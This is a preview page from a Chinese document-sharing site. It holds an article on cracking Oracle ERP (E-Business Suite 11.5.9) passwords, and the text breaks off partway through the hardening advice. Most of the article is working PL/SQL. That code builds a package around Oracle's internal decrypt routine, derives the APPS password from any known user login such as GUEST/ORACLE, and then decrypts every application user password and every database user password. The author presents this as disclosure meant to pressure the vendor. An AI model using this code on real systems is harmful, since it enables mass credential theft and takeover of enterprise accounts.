Oracle_ERPapps用戶密碼大破解_第1頁(yè)
Oracle_ERPapps用戶密碼大破解_第2頁(yè)
Oracle_ERPapps用戶密碼大破解_第3頁(yè)
Oracle_ERPapps用戶密碼大破解_第4頁(yè)
全文預(yù)覽已結(jié)束

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、破解Oracle ERP 密碼1.寫作目的12.利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源碼如下1(1).建立Package Header1(2).建立Package Body13.取得APPS密碼的步驟24.通過(guò)任何一個(gè)User name/password取得APPS密碼的方法25.通過(guò)FND_USER:ENCRYPTED_USER_PASSWORD取得明文密碼的方法36.通過(guò)上面建立的Package取得所有Oracle ERP Application User 密碼的方法37.通過(guò)上面建立的Package取得所有Oracle ERP

2、Database User密碼的方法38.刪除第一步建立的Package39.結(jié)論310.提高Oracle ERP的安全性411.此程序在Oracle ERP 11.5.9通過(guò)Toad測(cè)試通過(guò).41. 寫作目的在要不要寫出來(lái)讓大家知道這個(gè)問(wèn)題上想了很久, 但一想到遲早密碼破解的方法還是會(huì)被人知道的,與其讓少部分人知道,還不如讓大家都知道,事先好作防范. 公布密碼破解方法的目的還是想讓Oracle ERP做得更安全一點(diǎn),讓我們大家放心的去用,畢竟是幾千萬(wàn)的東西,現(xiàn)在的安全性顯然還達(dá)不到用戶的要求. 想借大家的力量給Oracle施加一點(diǎn)壓力,以將Oracle ERP的各個(gè)版本改得安全一點(diǎn).2. 利

3、用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源碼如下(1).建立Package HeaderCREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USERAS FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2;END CrackPwd;(2).建立Package BodyCREATE OR REPLACE PACKAGE BODY CrackPwdAS FUNCTION getpwd (orau

4、ser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String'END CrackPwd;/3. 取得APPS密碼的步驟 假設(shè)現(xiàn)在什么Oracle erp權(quán)限都沒(méi)有,怎么去知道oracle erp databaes的權(quán)限呢? 我們知道Oracle erp提供了

5、一個(gè)database的公用賬戶(gateway user),此賬戶擁有database的最小權(quán)限,這個(gè)公用賬號(hào)是: APPLSYSPUB/PUB(oracle erp網(wǎng)頁(yè)中或URL中都有公開此賬戶),雖然此賬戶沒(méi)有什么權(quán)限,但卻有FND_USER_VIEW 的查詢權(quán)限,通過(guò)這個(gè)view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,問(wèn)題就出在這個(gè)view的ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD這個(gè)字段是由APPS的密碼和用戶密碼一起通過(guò)加密算法得出的結(jié)果, 因此只

6、要知道Oracle ERP的解密算法就可以通過(guò)fnd_user中任何一個(gè)user的password反查apps的密碼.,而要知道fnd_user中任何一個(gè)user的密碼是太簡(jiǎn)單的事了,在erp安裝時(shí)就預(yù)設(shè)了很多賬戶,這些賬戶的user name和password都是一樣的,一般沒(méi)有人去改這些賬戶的密碼4. 通過(guò)任何一個(gè)User name/password取得APPS密碼的方法SET SERVEROUTPUT ONDECLARE guestUserPwd VARCHAR2(200); guestUserName VARCHAR2(100); guestFndPwd VARCHAR2(100);

7、guestEncFndPwd VARCHAR2(100); delim NUMBER;BEGIN guestUserPwd :='GUEST/ORACLE'-Can any user password IF guestUserPwd IS NULL THEN guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'); END IF; delim := INSTR(guestUserPwd,'/'); guestUserName := UPPER(SUBSTR(guestUserPwd,1,

8、delim-1); SELECT encrypted_foundation_password INTO guestEncFndPwd FROM fnd_user_view WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND (end_date IS NULL OR end_date > SYSDATE); guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd); IF NOT (guestFndPwd IS NULL) THEN DBMS_OUT

9、PUT.put_line(guestFndPwd); END IF; END;注: guestUserPwd :='GUEST/ORACLE'-Can any user password 上面這一行可以改成任何一個(gè)User的username/password,賬號(hào)和密碼之間用”/”隔開以上程序可以用toad執(zhí)行5. 通過(guò)FND_USER:ENCRYPTED_USER_PASSWORD取得明文密碼的方法SET SERVEROUT ONDECLARE v_encrypted_pwd VARCHAR2 (100); v_apps_pwd VARCHAR2 (100); v_user_

10、pwd VARCHAR (100);BEGIN v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D583C10B916D88062771250F4BE653891CA90671C74187B132118335'-get ENCRYPTED_USER_PASSWORD from fnd_user IF v_apps_pwd IS NULL THEN v_apps_pwd := 'APPS' END IF; v_user_pwd := crackpwd.getpwd (v_apps_pwd

11、, v_encrypted_pwd); DBMS_OUTPUT.put_line (v_user_pwd);END;6. 通過(guò)上面建立的Package取得所有Oracle ERP Application User 密碼的方法SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user7. 通過(guò)上面建立的Package取得所有Oracle ERP Database User密碼的方法select fou.oracle_username,CrackPwd.getpwd(

12、'APPS',encrypted_oracle_password) pwd from APPS.fnd_oracle_userid fou8. 刪除第一步建立的Package DROP PACKAGE CrackPwd9. 結(jié)論1).只要知道fnd_user中任何一個(gè)人的密碼就可以反推APPS的密碼,即使將database中apps密碼改掉也可以反推.2).反過(guò)來(lái)只要知道了apps的密碼,fnd_user中所有user的密碼都可以反推3).以此類推,只要知道fnd_user中任何一個(gè)人的密碼就可以反推其它所有User的密碼.4).同理,oracle erp db user(table:fnd_oracle_userid)中密碼的加密算法同fnd_user,也就是說(shuō)只要知道了APPS的密碼,則db user的所有密碼都可以反推.10. 提高Oracle ERP的安全性(1).更改APPS的密碼(2).更改所有預(yù)先安裝的fnd_user中所有user的password(3).更改oracle erp database中的所有user(通過(guò)table:fnd_oracle_userid進(jìn)行查詢)的p

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論